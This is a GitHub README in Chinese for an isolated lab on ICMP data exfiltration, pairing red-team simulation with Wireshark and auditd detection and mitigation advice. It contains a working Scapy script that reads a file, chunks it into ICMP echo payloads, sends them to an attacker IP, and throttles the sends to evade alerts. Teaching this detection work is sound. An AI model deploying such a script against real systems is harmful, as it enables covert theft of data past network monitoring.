Atai225/ICMP-Data-Exfiltration-Detection

GitHub: Atai225/ICMP-Data-Exfiltration-Detection

一个端到端 ICMP 数据渗出安全实验项目,涵盖基于 Scapy 的红队模拟脚本以及 Wireshark 网络分析和 Auditd 端点检测的双层蓝队防御方案。

Stars: 0 | Forks: 0

# 基于 ICMP 的数据渗出:模拟、检测与分析 ## 📌 项目概述 本项目演示了**通过替代协议(ICMP)进行数据渗出**的端到端场景,直接映射到 **MITRE ATT&CK 框架: T1048**。 本项目的目标是同时充当红队(通过自定义 Python/Scapy 脚本模拟威胁)和蓝队(使用 **Wireshark** 进行网络分析检测,并使用 Linux **Auditd** 进行基于主机的监控)。 ### 展示的关键技能: * **网络安全:** 分析 ICMP 负载异常和协议滥用。 * **自动化/脚本编写:** 使用 Python 和 `Scapy` 创建自定义的数据包构造工具。 * **端点检测:** 配置基于主机的审计策略(`auditd`)以追踪未经授权的文件访问。 * **防御工程:** 将原始流量和端点日志转化为可操作的安全洞察。 ## 🏗️ 实验环境架构 本项目在一个完全隔离、低开销的虚拟环境(VirtualBox Host-Only Network)中执行,旨在优化资源使用(低于 8GB RAM)。 * **受害端点:** Ubuntu Server/Desktop(隔离的 Host-Only IP)。 * **攻击者 / 监控节点:** Kali Linux(充当 C2 监听器和流量嗅探器)。 ## 🎯 阶段 1:模拟(红队) ### 渗出脚本 (`exfil.py`): ``` import time from scapy.all import IP, ICMP, send ATTACKER_IP = "192.168.56.102" # Kali Linux IP FILE_TO_STEAL = "sensitive_data.txt" def exfiltrate(): with open(FILE_TO_STEAL, "r") as f: data = f.read().strip() print(f"[*] Starting exfiltration of: {FILE_TO_STEAL}") # Splitting data into 4-character chunks chunk_size = 4 chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)] for chunk in chunks: # Crafting custom IP/ICMP packet with text payload packet = IP(dst=ATTACKER_IP) / ICMP(type=8) / chunk print(f"[+] Sending chunk: {chunk}") send(packet, verbose=False) time.sleep(1) # Throttling to evade basic threshold alerts print("[*] Exfiltration complete.") if __name__ == "__main__": exfiltrate() ``` ## 🔍 阶段 2:检测与分析(蓝队) 本项目的核心价值在于网络和主机层面的检测机制。 ### 1. 网络分析 (Wireshark) 标准的 ICMP (ping) 流量包含可预测的、连续的或填充的垃圾数据。在分析捕获的 PCAP 时,发现了几个主要的异常情况: * **负载篡改:** ICMP 数据包的 hex dump 明确包含了明文字符串(`SECR`、`ET_F`、`LAG{`),而不是标准的 OS 填充。 * **长度异常:** 数据包大小偏离了标准的 OS ping 特征。 Снимок экрана 2026-05-30 162723 ### 2. 基于主机的检测 (Linux Auditd) 为了确保在网络流量被加密或遗漏的情况下依然具有可见性,使用 `auditd` 部署了严格的文件完整性和访问策略。 在敏感文件上设置了监视规则,以监控读取(`r`)操作,并使用了自定义过滤键 `exfil_attempt`: ``` sudo auditctl -w /home/user/sensitive_data.txt -p r -k exfil_attempt ``` 当渗出脚本执行时,`auditd` 成功捕获了该事件。运行 `sudo ausearch -k exfil_attempt` 揭示了导致此次受损的确切来源: ### 识别出的关键日志工件: * `type=SYSCALL`:触发了系统级别的文件读取。 * `exe="/usr/bin/python3.12"`:识别出用于访问该文件的确切二进制文件/解释器,证实其不是标准的文本编辑器或授权服务。 * `key="exfil_attempt"`:成功映射到我们特定的安全监控警报。 ## 🛡️ 缓解与加固建议 为了在生产环境中防御诸如 ICMP/DNS 隧道等协议滥用技术: * **网络层面:** 在防火墙上实施**深度包检测 (DPI)**,以丢弃包含非标准负载数据或大小异常的 ICMP 数据包。如果并非网络诊断严格所需,请完全阻止出站的 ICMP 流量。 * **端点层面:** 部署 **EDR/SIEM 规则**(例如 Wazuh/Sysmon),以便在非标准进程(如 Python、PowerShell 或未知二进制文件)访问敏感业务目录时发出警报。 * **SIEM 关联:** 创建关联规则,当不受信任的进程发生**文件读取事件**,随后立即通过非标准或诊断协议进行出站网络流量传输时,触发高严重性警报。
标签:Auditd, Python, Scapy, Wireshark, 句柄查看, 无后门, 网络安全, 网页分析工具, 逆向工具, 隐私保护